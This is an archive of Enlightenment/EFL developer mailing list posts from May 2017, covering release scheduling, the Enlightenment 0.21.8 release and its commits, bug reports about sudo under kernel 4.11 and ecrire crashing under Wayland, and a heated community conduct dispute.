Re: [E-devel] 1.20 schedule proposal
On 31/05/17 23:42, Simon Lees wrote: > > > On 31/05/17 22:42, Stefan Schmidt wrote: >> Hello. >> >> On 05/31/2017 02:36 PM, Simon Lees wrote: >>> >>> >>> On 31/05/17 19:07, Stefan Schmidt wrote: >>>> Hello. >>>> >>>> >>>> No idea when Mike is planning a new E release where all this drm and >>>> wayland patches and APIs would be needed. Have to check back with him. >>>> >>> >>> There are other parts of e including but not limited to bryce that still >>> need more work. Either way e will have a stability phase / freeze anyway >>> so if that did become ready to happen we could also start the efl one >>> and do the two releases at a similar time. >> >> If that happens to be at the same time by chance I see no problem, but I >> will not adapt the efl release schedule to the E one. They have been >> driven quite differently and that worked well for both sides. At least I >> can say that from my side. >> To clarify I wasn't saying they should adopt the same schedule, unless of course we were holding off the efl release and Mike indicated the start of the e freeze because it was going to release soon. >> And lets be frank here (not pissed but simply frank). I think the last >> two releases have been very bad. >> o You and other wanted to wait longer and longer before a release should >> happen to reduce pain with app using the EO API >> o Other asked me when there finally will be a new release so they do not >> have to depend on and use HEAD >> o The long development phase resulted in a _very_ long stabilization >> phase due to the many changes coming in. >> o So long that many developers did not look at bug fixing anymore and >> started to develop new stuff in branches. >> o Nobody could tell when a release will be done. It the Debian way "its >> done when its done" allover again. >> >> I'm doing the efl releases since 1.9 (3.5 years by now) and I invested a >> huge amount of time and energy to fine tune the process and finding ways >> to make it work for as many parties as possible. Personally I'm proud of >> what we achieved in that regard. >> >> If we are now going to change this all back to how efl was released >> before I will not stand in the way, but I will also not handle the >> releases anymore. No bad feelings, no tears, no blood. :) I will simply >> step down as release manager and let someone else take over. Maybe some >> fresh vibes could help, who knows? :) >> >> regards >> Stefan Schmidt >> > > I agree the 3 month cycle works much better and I really want to go back > to it but right now it creates effort and I don't want that effort for > no reason, the minute people start asking "hen there finally will be a > new release so they do not have to depend on and use HEAD" is the time > when we should start the stabilization phase but if knowone needs the > release and especially if eo people feel they don't need huge amounts of > time to finish I don't think we should release. > the eflete thread in e-users atm highlights exactly the issues that eo is causing people which is why I think waiting is possibly justified. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] 1.20 schedule proposal
On 31/05/17 22:42, Stefan Schmidt wrote: > Hello. > > On 05/31/2017 02:36 PM, Simon Lees wrote: >> >> >> On 31/05/17 19:07, Stefan Schmidt wrote: >>> Hello. >>> >>> >>> No idea when Mike is planning a new E release where all this drm and >>> wayland patches and APIs would be needed. Have to check back with him. >>> >> >> There are other parts of e including but not limited to bryce that still >> need more work. Either way e will have a stability phase / freeze anyway >> so if that did become ready to happen we could also start the efl one >> and do the two releases at a similar time. > > If that happens to be at the same time by chance I see no problem, but I > will not adapt the efl release schedule to the E one. They have been > driven quite differently and that worked well for both sides. At least I > can say that from my side. > > And lets be frank here (not pissed but simply frank). I think the last > two releases have been very bad. > o You and other wanted to wait longer and longer before a release should > happen to reduce pain with app using the EO API > o Other asked me when there finally will be a new release so they do not > have to depend on and use HEAD > o The long development phase resulted in a _very_ long stabilization > phase due to the many changes coming in. > o So long that many developers did not look at bug fixing anymore and > started to develop new stuff in branches. > o Nobody could tell when a release will be done. It the Debian way "its > done when its done" allover again. > > I'm doing the efl releases since 1.9 (3.5 years by now) and I invested a > huge amount of time and energy to fine tune the process and finding ways > to make it work for as many parties as possible. Personally I'm proud of > what we achieved in that regard. > > If we are now going to change this all back to how efl was released > before I will not stand in the way, but I will also not handle the > releases anymore. No bad feelings, no tears, no blood. :) I will simply > step down as release manager and let someone else take over. Maybe some > fresh vibes could help, who knows? :) > > regards > Stefan Schmidt > I agree the 3 month cycle works much better and I really want to go back to it but right now it creates effort and I don't want that effort for no reason, the minute people start asking "hen there finally will be a new release so they do not have to depend on and use HEAD" is the time when we should start the stabilization phase but if knowone needs the release and especially if eo people feel they don't need huge amounts of time to finish I don't think we should release. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] 1.20 schedule proposal
On 31/05/17 19:07, Stefan Schmidt wrote: > Hello. > > > No idea when Mike is planning a new E release where all this drm and > wayland patches and APIs would be needed. Have to check back with him. > There are other parts of e including but not limited to bryce that still need more work. Either way e will have a stability phase / freeze anyway so if that did become ready to happen we could also start the efl one and do the two releases at a similar time. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] enlightenment + kernel 4.11 -> sudo fails
On 05/28/2017 04:38 PM, Daniel Zaoui wrote: > Stupid question: how does it work in text console and other DEs but not in E? > Where is the difference? Its in the way that enlightnement_start / enlightnement launches, not all the correct process info was passed through. > > On Wed, 24 May 2017 08:24:44 +0900 > Carsten Haitzler (The Rasterman) wrote: > >> On Tue, 23 May 2017 20:10:14 +0200 Jérémy Zurcher >> said: >> >>> Hi all, >>> >>> I have to confirm that there is an enlightenment issue with sudo + >>> kernel 4.11 >>> >>> * Linux bigdaddy 4.11.2-1-ARCH #1 SMP PREEMPT Mon May 22 06:53:49 >>> CEST 2017 x86_64 GNU/Linux >>> >>> starting fluxbox + terminology : sudo ls goes well >>> starting enlightenment + terminology : sudo ls => >>> sudo: effective uid is not 0, is /usr/bin/sudo on a file >>> system with the 'nosuid' option set or an NFS file system without >>> root privileges? >>> >>> I'll try to investigate, but don't have much time on my side ... >> >> we know what it is. kernel bug: >> >> https://phab.enlightenment.org/T5470 >> > > > -- > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot > ___ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[E-devel] Enlightenment DR 0.21.8 Release
CHANGES https://git.enlightenment.org/core/enlightenment.git/tree/NEWS?h=v0.21.8 TICKETS ADDRESSED * https://phab.enlightenment.org/T4963 * https://phab.enlightenment.org/T3144 * https://phab.enlightenment.org/T5262 * https://phab.enlightenment.org/T5288 * https://phab.enlightenment.org/T5340 * https://phab.enlightenment.org/T5348 * https://phab.enlightenment.org/T5418 * https://phab.enlightenment.org/T5444 * https://phab.enlightenment.org/T5464 SHA256SUM + DOWNLOAD 44332443b39ac6f0563713c3d85acbbba0011dd7659e6b7d500ec09e05896197 http://download.enlightenment.org/rel/apps/enlightenment/enlightenment-0.21.8.tar.gz fac21c5fb9cab89fb717b3577f7980fd0644ff1e94b144a55ba841116e8c5232 http://download.enlightenment.org/rel/apps/enlightenment/enlightenment-0.21.8.tar.xz See the full announcement for more details: https://www.enlightenment.org/news/e0.21.8_release -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
[EGIT] [core/enlightenment] enlightenment-0.21 03/03: 21.8 NEWS Updates
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=317a566df980a6d7ac5197ea9eb5f8961ef80f99 commit 317a566df980a6d7ac5197ea9eb5f8961ef80f99 Author: Simon Lees Date: Thu May 18 10:07:30 2017 +0930 21.8 NEWS Updates --- NEWS | 81 1 file changed, 81 insertions(+) diff --git a/NEWS b/NEWS index 2655f16..c1a0bd9 100644 --- a/NEWS +++ b/NEWS @@ -1,3 +1,84 @@ +Release 0.21.8: +- +Al Poole (4): + Fix macro namings in relation to endianness. + Fix compiler type warnings (snprintf) + E keyboard settings - use the same icon as the keyboard settings dialog + Add user to AUTHORS. + +Carsten Haitzler (3): + e randr2 - fix freeing of stringshare by making it a stringshare + fix fullscreen no blank logic in e's dpms code + further fixes to screensaver/banking with window states like fullscreen + +Mike Blumenkrantz (65): + hide wl clients before deleting them on surface destroy + comment out inlist member of E_Comp_Object struct + better protect comp object internals from dereferencing freed clients + add all wl client frame callbacks with priority AFTER + unset deskmirror client's client pointer upon client deletion + unset deskmirror client's client pointer upon client deletion + defer menu activation mouse-up feed + set ON_HOLD when activating start gadget + add handler for EFREET_EVENT_DESKTOP_CACHE_BUILD to e_order init + do not use saved e_randr screens if fake screens have been added + do not force comp objects to render for their proxies if real_hid is set + show x11 parent windows during reparent only if not withdrawn + return during comp object pixels function if client was deleted during render + perform frame adjustments before applying wm spec hints during unmaximize + only save client size info on maximize/fullscreen when protocol visible + check changes.pos during client maximize/fullscreen and adjust window coords + do not start xwayland repeatedly + call wl/x compositor shutdown functions directly during comp shutdown + force iconic state for iconic x11 clients during shutdown + move x11 iconic window init from e_hints -> comp_x initial fetch + call e_randr2_shutdown in comp shutdown + handle null E_Comp->screen during randr2 shutdown + don't set minw for keyboard layout dialog + only hide wl clients on surface destroy when surface is mapped + handle nested compositor delete requests + only set toolbar icon min size if icon exists + always use jobs to create bryce menus + handle window icons from elm for internal wins + only re-set comp object position during show if client has been placed + set dialog and tooltip flags for internal clients + add wrappers for elm_win util create functions + send wl client resize edges during focus-in/out send_configure + set signal move/resize clients as action_client internally + compare against e_client_action_get() for rejecting wl mouse events + Revert "Stop sending wayland motion events when the mouse is grabbed" + do not send mouse events to ssd wl clients if mouse is within ssd region + use even more accurate wl callbacks for detecting ssd mouse in/out events + always feed mouse events for wl client move events + block x11 focus eventing under xwayland + do not attempt to set window hidden hints on non-internal x11 windows + account for late object setup when adding ssd mouse in/out callbacks + disable client maximize anims when unmaximizing before a fullscreen + always set E_Client->need_fullscreen when fullscreening + force e_client_unmaximize() to complete during fullscreen operation + slightly optimize maximize -> fullscreen protocol comms for wl clients + check pixmap size before triggering maximize animation + force animationless re-maximize when unfullscreening + only center internal windows once + adjust size for frame geometry in no-animation maximize path + call "maximize" smart callback before "maximize_pre" + re-set backlight level when resuming from suspend + add a client's children to the skiplist during place routine + do not arbitrarily center "lost" child windows, center them on the parent + support clients as positioner objects in e_comp_object_util_center_on() + add cache for dead x11 manager windows + remove uuid references from e_pixmap.c + re-set list of default desklock bgs when changing to custom bg in config + set pass events on efm icons when deleting files + make RENDER_DEBUG activate with E_RENDER_DEBUG env var + make SHAPE_DEBUG activate with E_SHAPE_DEB
[EGIT] [core/enlightenment] enlightenment-0.21 02/03: 21.8 Release
simotek pushed a commit to branch enlightenment-0.21. http://git.enlightenment.org/core/enlightenment.git/commit/?id=c430bbf9cac5e097a9a526084e3eefb98ebc0533 commit c430bbf9cac5e097a9a526084e3eefb98ebc0533 Author: Simon Lees Date: Thu May 18 10:06:39 2017 +0930 21.8 Release --- configure.ac | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/configure.ac b/configure.ac index ca611de..655b2ef 100644 --- a/configure.ac +++ b/configure.ac @@ -2,11 +2,11 @@ ##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--##--## m4_define([v_maj], [0]) m4_define([v_min], [21]) -m4_define([v_mic], [7]) +m4_define([v_mic], [8]) m4_define([v_rev], m4_esyscmd([(git rev-list --count HEAD 2>/dev/null || echo 0) | tr -d '\n']))dnl ##-- When released, remove the dnl on the below line m4_undefine([v_rev]) -m4_define([relname], [0.21.7]) +m4_define([relname], [0.21.8]) ##-- When doing snapshots - change soname. remove dnl on below line m4_define([relname], [ver-0.21]) dnl m4_define([v_rel], [-release relname]) --
Re: [E-devel] Pre-release tarballs for efl 1.19.1
On 05/22/2017 06:46 PM, Stefan Schmidt wrote: > Hello. > > [You gmail screwed up the mail quoting :)] > > On 05/19/2017 04:10 PM, Cedric BAIL wrote: >> On May 19, 2017 01:34, "Stefan Schmidt" wrote: >> >> Hello. >> >> I just uploaded the pre-release tarballs for 1.19.1. >> >> If I hear nothing problematic within the next 72 hours, I will do the >> final release on Monday. >> >> >> I have pushed a patch on master for reproducible build, maybe we want that >> on branches too ? What's your opinion ? > > You mean the the change you did to the poor hamster, or something else? > > I'm ok with getting the hamster change in for 1.19.2 if that helps. The > edje_program name change I did is still pending testing. These are the > only two ones connected to reproducible builds I know of so far. > > regards > Stefan Schmidt > Yeah were talking about the hampster changes here, the other repo build stuff is probably a big enough change to wait for 1.20 -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Pre-release tarballs for efl 1.19.1
On 05/19/2017 11:40 PM, Cedric BAIL wrote: > On May 19, 2017 01:34, "Stefan Schmidt" <mailto:ste...@osg.samsung.com>> wrote: > > Hello. > > I just uploaded the pre-release tarballs for 1.19.1. > > If I hear nothing problematic within the next 72 hours, I will do the > final release on Monday. > > > I have pushed a patch on master for reproducible build, maybe we want > that on branches too ? What's your opinion ? > > Cedric > My opinion is to take it but i've already patched it on top of openSUSE's packages so its not a big deal either way for me atm. > > https://download.enlightenment.org/pre-releases/efl-1.19.1-pre.tar.gz > 15181fc29ed9b856b5abf3a6b4a0a0a431e29d64382259e2da699acd643488ca > <https://download.enlightenment.org/pre-releases/efl-1.19.1-pre.tar.gz > 15181fc29ed9b856b5abf3a6b4a0a0a431e29d64382259e2da699acd643488ca> > > https://download.enlightenment.org/pre-releases/efl-1.19.1-pre.tar.xz > 8c69eaf5f3489245dff6112394bf3685fb9d6fd3915035fe022f27c554e6cd3a > <https://download.enlightenment.org/pre-releases/efl-1.19.1-pre.tar.xz > 8c69eaf5f3489245dff6112394bf3685fb9d6fd3915035fe022f27c554e6cd3a> > > regards > Stefan Schmidt > > > -- > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot > ___ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > <mailto:enlightenment-devel@lists.sourceforge.net> > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > <https://lists.sourceforge.net/lists/listinfo/enlightenment-devel> > > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] How work with evas.filter in edc?
make change in the edc code
>>> ```
>>> filter.script: -> filter.inline:
>>> ```
>>> and take another error:
>>> edje_cc: Error. edje_text_filter.edc:4 unhandled keyword filter.inline
>>>
>>> Sadly, it's does not work!
>>>
>>> So try to find in the code keyword 'filter' more. And find in the
>>> description
>>> subsection:
>>> ```
>>> /**
>>> @page edcref
>>> @block
>>> filter
>>> @context
>>> part {
>>> type: [IMAGE or TEXT or PROXY or SNAPSHOT];
>>> ..
>>> description {
>>> ..
>>> filter {
>>> code: "blend {}";
>>> // or:
>>> code: "filter_name";
>>> source: "part1" "buf";
>>> source: "part2" "otherbuf";
>>> source: "part3";
>>> ..
>>> data: "the_answer" "42";
>>> data: "something" "anything";
>>> data: "mycc" "color_class('my_color_class')";
>>> ..
>>> }
>>> // or:
>>> text.filter: "blend {} -- ...";
>>> ..
>>> }
>>> }
>>> @description
>>> Applies a series of image filters to a TEXT, IMAGE, PROXY or
>>> SNAPSHOT part.
>>> For more information, please refer to the page
>>> @ref evasfiltersref "Evas filters reference".
>>> @endblock
>>>
>>> @property
>>> filter.code
>>> @parameters
>>> [filter script or filter name]
>>> @effect
>>> The argument to this field is the source code of a Lua script as
>>> defined
>>> @ref evasfiltersref "here" or a filter name defined in the
>>> @ref sec_collections_group_filters "Filters" section.
>>> @endproperty
>>> */
>>> ```
>>> This use case is work fine for me.
>>>
>>> But without section 'group.filter' user can not reuse his filter in anther
>>> parts and
>>> states. Also I find the next declaration:
>>> ```
>>> {"filters", NULL},
>>> {"filters.filter", ob_filters_filter},
>>> {"filters.filter.script", ob_filters_filter_script},
>>>
>>> {"collections.filters", NULL},
>>> {"collections.filters.filter", ob_filters_filter}, /* dup */
>>> {"collections.filters.filter.script", ob_filters_filter_script}, /* dup */
>>>
>>> {"collections.group.filters", NULL},
>>> {"collections.group.filters.filter", ob_filters_filter}, /* dup */
>>> {"collections.group.filters.filter.script", ob_filters_filter_script}, /*
>>> dup */
>>> ```
>>> So expected that user can define globally, in toplevel blocks, but it does
>>> not work
>>> too, with the same errors.
>>>
>>>
>>> Actually, this situation very sadly for me, because I can not understand
>>> how it should
>>> work, what the keywords author what use, and as result I can not fix it.
>>>
>>> Please fix this bug or describe how it should work.
>>>
>>> --
>>> Viacheslav Reutskiy (rimmed)
>>>
>>>
>>>
>>> --
>>> Check out the vibrant tech community on one of the world's most
>>> engaging tech sites, Slashdot.org! http://sdm.link/slashdot
>>> ___
>>> enlightenment-devel mailing list
>>> enlightenment-devel@lists.sourceforge.net
>>> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
>>>
>>>
>>
>
--
Simon Lees (Simotek)http://simotek.net
Emergency Update Team keybase.io/simotek
SUSE Linux Adelaide Australia, UTC+10:30
GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B
signature.asc
Description: OpenPGP digital signature
--
Check out the vibrant tech community on one of the world's most
engaging tech sites, Slashdot.org! http://sdm.link/slashdot___
enlightenment-devel mailing list
enlightenment-devel@lists.sourceforge.net
https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Ecrire crashing under Wayland was -> Taking over as maintainer of ecrire
On 05/17/2017 06:25 AM, William L. Thomson Jr. wrote: > Sadly despite all the noise and the removal of ecore x code and > linking. It seems the crash under Wayland remains. Which sucks! > https://github.com/Obsidian-StudiosInc/ecrire/issues/2#issuecomment-301748209 > > I am not able to run Wayland so some what crippled. May setup a VM and > try in that to debug at least. T If anyone can provide any useful > information so I can correct in the build system. That would really be > appreciated! > As far as i'm aware there isn't a easy way to get wayland running in a VM. > I do not believe it is anything code related. I removed all ecore x > specific code and if defines. I removed libraries and cflags. But seems > it is still causing problems. I am not sure if this is an EFL issue. > > Technically if under wayland should not have ecore x module. Though I > understand, like is the case for myself, many are building with support > for both. I doubt having just a Wayland only system is the proper fix. > > It seems like ecrire is linking to a BUNCH of stuff is should not be > and stuff it is not using. Doing a ldd ecrire, I see all sorts of > stuff, gpg, etc. Things I know are not in use nor being linked on > purpose. Even seems to be the case with Gentoo builds, so its not > anything Gentoo cmake eclasses strip out etc. > efl links to alot as its libraries do alot, if you compare it to terminology and rage you probably shouldn't see anything extra though. > I assume something is off in cmake files and/or how its linking stuff > in the final binary. If it is not that, then maybe its coming in from > EFL or something. > > Thank you in advance for any time spent looking into this!!! > > On Mon, 15 May 2017 11:40:09 -0400 > "William L. Thomson Jr." wrote: > >> I was able to replace the ecore x code and resolve any dependencies >> there and crash related to such under wayland. >> >> https://github.com/Obsidian-StudiosInc/ecrire/commit/d07af0ebbebcde9818f2d178861d39a6edcf7269 >> >> I would have much rather seen something like above than commenting out >> code and function. My other was a work around till such could be >> produced to retain function under x and fix crash under wayland, >> temporarily. The matter is put to rest now. > > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Express UI Ideas
On 05/16/2017 10:17 PM, Al Poole wrote: > Don't laugh!!! > > Here: > > https://www.enlightenment.org/ss/display.php?image=e-591af47330ac05.05652499.jpg > > :D > My main problem with it is not the paint skills, its that when I read IRC its like reading a editor or terminal and I want to be able to see as many lines of talk as possible which is why I prefer the channels and user list to the size so the talk gets as much height as possible. > On Thu, May 11, 2017 at 6:58 PM, Christopher Michael > wrote: > >> On 05/11/2017 01:55 PM, Vincent Torri wrote: >>> On Thu, May 11, 2017 at 7:08 PM, Christopher Michael >>> wrote: >>>> >>>> Hello All, >>>> >>>> As some of you may know, I have been refactoring the backend of the >>>> Express IRC client. Well, the backend has reached a good stable point >>>> with most IRC commands/responses being handled now (CTCP/DCC still need >>>> implementing). >>>> >>>> I'd like to move on in refactoring the UIso I am writting this email >>>> in order to solicit ideas from the community with regard to what users >>>> would like to see in an IRC front-end. >>>> >>>> I would like to stay away from something as boring as an X-Chat >>>> interface...preferring to come up with a unique interface that showcases >>>> EFL abilities. >>>> >>>> If anyone would like to submit ideas (preferrably with attached mockups >>>> or some ASCII art which demonstrates the idea), please feel free. >>> >>> do you plan to change your mind and not using the terminology UI ? >>> >>> Vincent >>> >> >> The "terminology" type UI is still "on the table" as an option... I was >> just looking for other ideassomething "unique". If/When we get a few >> of these ideas, we could put them to a vote (perhaps a Phab poll). >> >> Chris >> >> > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Taking over as maintainer of ecrire
On 05/16/2017 04:21 PM, Stefan Schmidt wrote: > Hello. > > On 05/16/2017 01:17 AM, Simon Lees wrote: >> >> >> On 05/16/2017 07:09 AM, Vincent Torri wrote: >>> https://ffmpeg.org/developer.html#Code-of-conduct >>> >> >> I don't think a code of conduct is really necessary here, my reading of >> this thread having spent some time talking to William on IRC in the >> prior is that if people communicated with some care none of this would >> have ever happened. >> >> I'm going to call people out here because they should know and do >> better. Raster your communication in this thread has been that of an >> utter jerk I don't think I missed anything but there was absolutely no >> reason why you should have started using the language and tone you did. >> >> Had you written one clear email better outlining the way the project >> works in a nicer tone i'm guessing this would be resolved and there >> would be no issue. An example of this could be yes any developer may >> push a simple work around fix to any repo as they see it (although if >> they are not active there its best to first check with someone who is) >> at a later date if someone comes up with a better fix they can just >> revert the temporary fix. >> >> Had you communicated with me in the way you communicated with William >> when I first joined the project I wouldn't still be here now. From >> everything i've seen William seems like a decent person with good >> intentions who has seen a problem (the lack of a decent simple text >> editor for enlightenment) and is trying to fix that problem we really >> should be encouraging people like that not putting them off. We have >> often spoken about ways to get people better engaged with the community >> both from inside and outside Samsung, what you have done in this thread >> is taken someone who was actively trying to get involved in our >> community and turned them away, which is really quite disappointing. I >> know your busy at TDC but I suggest that once your back you should go >> out of your way to try and repair the situation your poor communication >> has caused. There is nothing wrong with the action you did in commenting >> out some code (within how we tend to work as a community) but your >> communication around it absolutely stank. >> >> I'm also going to call out Stephen because in this thread you simply >> acted like a Jerk without adding anything of meaning to the discussion. >> >> To finish let me be clear if someone comes in here acting like an arse I >> have no problem with them being put in there place and sent away our >> community shouldn't have to tolerate people being arses, but in this >> case there was someone doing there best in good faith to do everything >> right by the community and they were treated appallingly by senior >> members of our community for no good reason and thats just not on. > > I agree that the shushing for raster and Stephen is deserved. > > What I not agree with is the painting of William as an innocent victim > here. He had the same impact on this exploding situation. > > I never had contact with him before (neither IRC nor mail) besides this > thread and I see tons on snide remarks from his side. Almost in every > mail. So, Simon, if you are going to shush people, William should also > be part of it. > Well i'm not saying he is perfect, but I didn't see anything completely unreasonable from my communication with him (I suspect that other developers may have). he obviously had some role in this but I expect a higher standard from established members of the community having said that snide remarks are almost never helpful and should be discouraged. -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Taking over as maintainer of ecrire
On 05/16/2017 10:43 AM, Stephen Houston wrote: > No worries as just about everyone else has you ignored. Nobody cares. You > can play innocent here and try and get sympathy. As I said all you have to > do is apologize to several of us. Also, you are the furthest thing from > thick skinned. The evidence of this even being an issue is not coincidental > to your arrival. Read all of our mailing list threads and all of our > correspondence with the community on IRC and other platforms... we've never > had an issue like this. Ergo, the only thing different here is you. Not us. > That should help identify the issue. > Nope, I'd disagree we have had issues like this in the past and as I said before I have never had issues communicating with him, others who have been in the channel at the same time as me also haven't, so that suggests to me that the issue is not related to one person but a combination of multiple people probably including both of you as well as others, so how about we all do our best to show each other respect and stop with the name calling etc. > On Mon, May 15, 2017, 7:37 PM William L. Thomson Jr. > wrote: > >> On Tue, 16 May 2017 00:09:34 + >> Stephen Houston wrote: >> >>> Simon you are just wrong here. You have no idea how he treated others >>> on IRC and other places before any of this happened. >> >> Stephen, you are the only person I have ever had to set an ignore flag >> in my IRC client ever. With over a decade and a half of IRC usage. >> I purposely avoid you because of your conduct. Yet it seems you go out >> of your way to comment in areas I am working. This thread is an example. >> >> -- >> William L. Thomson Jr. >> >> -- >> Check out the vibrant tech community on one of the world's most >> engaging tech sites, Slashdot.org! http://sdm.link/slashdot >> ___ >> enlightenment-devel mailing list >> enlightenment-devel@lists.sourceforge.net >> https://lists.sourceforge.net/lists/listinfo/enlightenment-devel >> > -- > Check out the vibrant tech community on one of the world's most > engaging tech sites, Slashdot.org! http://sdm.link/slashdot > ___ > enlightenment-devel mailing list > enlightenment-devel@lists.sourceforge.net > https://lists.sourceforge.net/lists/listinfo/enlightenment-devel > -- Simon Lees (Simotek)http://simotek.net Emergency Update Team keybase.io/simotek SUSE Linux Adelaide Australia, UTC+10:30 GPG Fingerprint: 5B87 DB9D 88DC F606 E489 CEC5 0922 C246 02F0 014B signature.asc Description: OpenPGP digital signature -- Check out the vibrant tech community on one of the world's most engaging tech sites, Slashdot.org! http://sdm.link/slashdot___ enlightenment-devel mailing list enlightenment-devel@lists.sourceforge.net https://lists.sourceforge.net/lists/listinfo/enlightenment-devel
Re: [E-devel] Taking over as maintainer of ecrire
On 05/16/2017 09:39 AM, Stephen Houston wrote: > Simon you are just wrong here. You have no idea how he treated others on > IRC and other places before any of this happened. Everything he got in this > thread was well deserved. I speak for others who didn't want to be a part > of this mailing list thread as well, for various reasons. He got every bit > of what he deserved. He is in no way innocent and this was in no way > remotely his first correspondence. He has been acting this way and > starting fights with every developer he could get to talk to him. He had it > coming. Well that is about the complete opposite of my correspondence with him on IRC. Which spanned many conversations over a week or so, so i'm not sure what changed and lead to your experience being different. > > On Mon, May 15, 2017, 6:18 PM Simon Lees wrote: > >> >> >> On 05/16/2017 07:09 AM, Vincent Torri wrote: >>> https://ffmpeg.org/developer.html#Code-of-conduct >>> >> >> I don't think a code of conduct is really necessary here, my reading of >> this thread having spent some time talking to William on IRC in the >> prior is that if people communicated with some care none of this would >> have ever happened. >> >> I'm going to call people out here because they should know and do >> better. Raster your communication in this thread has been that of an >> utter jerk I don't think I missed anything but there was absolutely no >> reason why you should have started using the language and tone you did. >> >> Had you written one clear email better outlining the way the project >> works in a nicer tone i'm guessing this would be resolved and there >> would be no issue. An example of this could be yes any developer may >> push a simple work around fix to any repo as they see it (although if >> they are not active there its best to first check with someone who is) >> at a later date if someone comes up with a better fix they can just >> revert the temporary fix. >> >> Had you communicated with me in the way you communicated with William >> when I first joined the project I wouldn't still be here now. From >> everything i've seen William seems like a decent person with good >> intentions who has seen a problem 